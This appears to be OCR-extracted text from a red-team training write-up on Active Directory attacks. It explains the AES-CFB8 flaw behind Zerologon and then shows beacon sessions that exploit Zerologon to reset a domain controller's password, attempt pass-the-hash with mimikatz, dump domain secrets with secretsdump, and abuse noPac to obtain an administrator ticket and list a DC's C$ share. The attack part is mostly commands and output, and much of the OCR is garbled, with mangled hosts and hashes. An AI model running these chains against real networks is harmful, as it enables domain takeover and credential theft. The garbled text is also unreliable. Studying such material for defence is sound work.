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AES-CFBS8 encryption (all-zero IV and plaintext)
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2) Given a random key, there is a 1
| in 256 chance that the AES
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@ encryption of an all-zero block

happens to start with a zero byle
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4) All preceding bytes are still zero,

: therefore the encryption result wil
‘ {:i) be the same as before.
I 20 00 000000 00 000000 00 00 00 00 00 00]00 00 [oo 0000 0000 5) 0 xor 0 = 0 again, all subsequent
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and herefore 00 will keep being

xorred to the next plaintext bytes
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beacon> execute-assembly sharpzerologon.exe dc@l.prod.raven-med.local

[*] Tasked beaco un . rogram: sharpzerologon.exe dcOl.prod.raven-med.local
[+] host called home, sent: ! bytes

[+] received output:

Performing authentication attempts

[(freset [TT11T1dcO1 [TTITI

beacon>= execute-assembly sharpzerologon.exe dcOL.prod.raven-med.local -reset

[*] Tasked beacon to run .NET program: sharpzerologon.exe dc@l.prod.raven-med.local -reset
[+] host called home, sent: 113847 hytes

[+] received output:

Performing authentication attempts...

Success! DC can be fully compromised by a Zerologon attack

Done! Machine account password set to NTLM: 31d6cfe0d16ae931b73c59d7e0c
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beacon> pth prod\dc0l$ 31d6cfedd16ae931b73c59d7e0cO89CO
pth error: this command requires administrator privileges
[+]1 host called home, sent: 108 bytes

beacon> pth prod\dc01$ 31d6cfe0d16ae931b73c59d7e0| 0

[*] Tasked beacon to run mimikatz's s rlsa::pth /user:dce@l$ sdomain:prod /ntlm:31d6cfe0d16ae931b73c59d7e0cO89cO /run C:: /c echo faB87d2ef7d6 > \\.\pipe\43f73a" command
[+] host called home, sent: 296114 bhytes
Failed to open token

\Windows\system32\cmd.exe /c echo fa87d2ef7d6 > \\.\pipe\43f73a
i6cfedd 16ae931b73c59d7e0c089ca
0

ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
ERROR kuhl_m_sekurlsa_pth_luid ; memory handle is not KULL_M_MEMORY_TYPE_PROCESS

(IIT11] Impacket 1] secretdump [TI11T1

proxychains secretsdump. py -dc-ip 172.16.1.11 -just-dc -hashes
: 31d6cfe0d16ae931b73c59d7e0c089cO ' dcO1$' @rod. raven- med. local
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secretsdump.py 72.16.1. t :31d6c
rchains] c ig file found: /
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Attribute Editor | Security

Attributes:

Attribute Value 2

pwd LastSet 32772023 6:41:09 PM Pacific Daylight Time

registered Address <not et

replPropertyMetaData AtID Ver Loc. LUSN Crg.D5A

repllp TaDateVector <not set

reps From <not set

reps (o <not set

revision <not set:

rid <not st

rIDSetReferences CH=RID Set CN=DC05,0U=Domain Controll

roomMumber <not sets

sAMAccountName DCO5%

sAMAccount Type 205306369 = MACHIME_ACCOUNT )

scriptPath <not set

secretary <not sets R
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sAMAccountName [[TITTI$KOT]

(DE DS/ DI U EOMVRIBEEr/noPac JexpITTTTTITTIIT]

beacon> execute-assembly nopac.exe scan -domain white-bird.local -user serveradm -pass "Summer2024!"

[*] Tasked beacon to run .NET program: nopac.exe scan -domain white-bird.local -user serveradm -pass ''Summer2024!"
t called home, sent: 497325 bytes
eived output

[+] Got TGT from dc05.white-bird.local. Ticket size: 555

[IIMIIIIII®PECS$ O TGT IITTH CIFS O TGS

nopac. exe -domain white-bird. local -user serveradm -pass "Summer2024!" /dc dc05. white-

bird. local /mAccount nopac /mPassword PasswOrd /service cifs /ptt

Jdc dco5.white-bird.local /mAccount nopac /mPassword Passw@rd /service cifs /ptt
ummer2024!" fdc dce5.white-bird.local /mAccount nopac /mPassword PasswOrd /service cifs /ptt
host called home, sent: 497477 bytes
i put
uished Name = CN=nopac,CN=Computers,DC=white-bird,DC=local
account nopac added

opac attribute serviceprincipalname cleared
pac attribute samaccountname updated

for dco5.white-bird.local

account nopac attribute samaccountname updated

S4u

Using domain controller: dc05.white-bird.local (172.16.1.
Build: J12self request fo dcOSEWHITE-BIRD. LOC
1f request
2self success!
stituting alternative service name 'cifs/dc@5.white-bird.local*
Got a TGS r 'administrator' to 'cifs@HITE-BIRD.LOCAL"
base64(ticket.kirbi):

doIFqjCCBaagAWIBBaEDAgEWooIEmz CCBIdhgqSTMIIEj6ADAQEF0RTbEFdISVRFLUJIUkQUTEIDQUYiKDAmo AMCAQGhHZAdGWR] aWZzGxVkYzAlLndoaXR1LW IpcmQubGOj YWy jggRIMITERKADAQES0QMCAQSiggQ2BITEM}VICIKj0QFDiPrd jWzLi5pF3]

[+] Ticket successfully imported!
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beacon> 1s “V\dcO5.white-bird.localyc$

[*] Tasked beacon to List files in “\dc05.white-bird.localvc$
[+] host called home, sent: 44 bytes

[*] Listing: ‘\\dcO5.white-bird.local\c$\

Size Type Last Modified Name

dir 09/15/2018 00:19:00 $Recycle.Bin
dir 01/20/2023 19:43:56 Documents and Settings
dir 09/15/2018 00:19:00 PerfLogs
dir 01/20/2023 15:35:25 Program Files
dir 01/20/2023 15:35:26 Program Files (x86)
dir 04/02/2023 13:14:02 ProgramData
dir 01/20/2023 19:44:02 Recovery
dir 01/20/2023 15:48:48 System Volume Information
dir 01/20/2023 15:35:21 Users
dir 05/01/2023 01:00:33 Windows
512mb fil 05/02/2023 10:44:28 pagefile.sys
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